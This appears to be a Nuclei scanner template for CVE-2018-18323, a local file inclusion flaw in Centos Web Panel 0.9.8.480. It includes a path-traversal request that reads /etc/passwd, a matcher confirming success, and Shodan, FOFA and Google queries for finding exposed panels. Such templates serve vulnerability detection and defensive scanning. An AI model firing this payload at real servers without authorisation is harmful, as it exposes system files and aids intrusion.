id: CVE-2018-18323

info:
  name: Centos Web Panel 0.9.8.480 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Centos Web Panel.
  reference:
    - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html
    - http://centos-webpanel.com/
    - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18323
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18323
    cwe-id: CWE-22
    epss-score: 0.70736
    epss-percentile: 0.99333
    cpe: cpe:2.3:a:control-webpanel:webpanel:0.9.8.480:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: control-webpanel
    product: webpanel
    shodan-query: http.title:"login | control webpanel"
    fofa-query: title="login | control webpanel"
    google-query: intitle:"login | control webpanel"
  tags: cve2018,cve,centos,lfi,packetstorm,control-webpanel,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b9522e1b8d168a305596c4167167efef335d2eb75ff5041d607cc1fdbf58ffe40220346c603a27a774177407937c9f1eb6b3749630efed6da4ce3b5c75d4bad3ba71:922c64590222798bb761d5b6d8e72950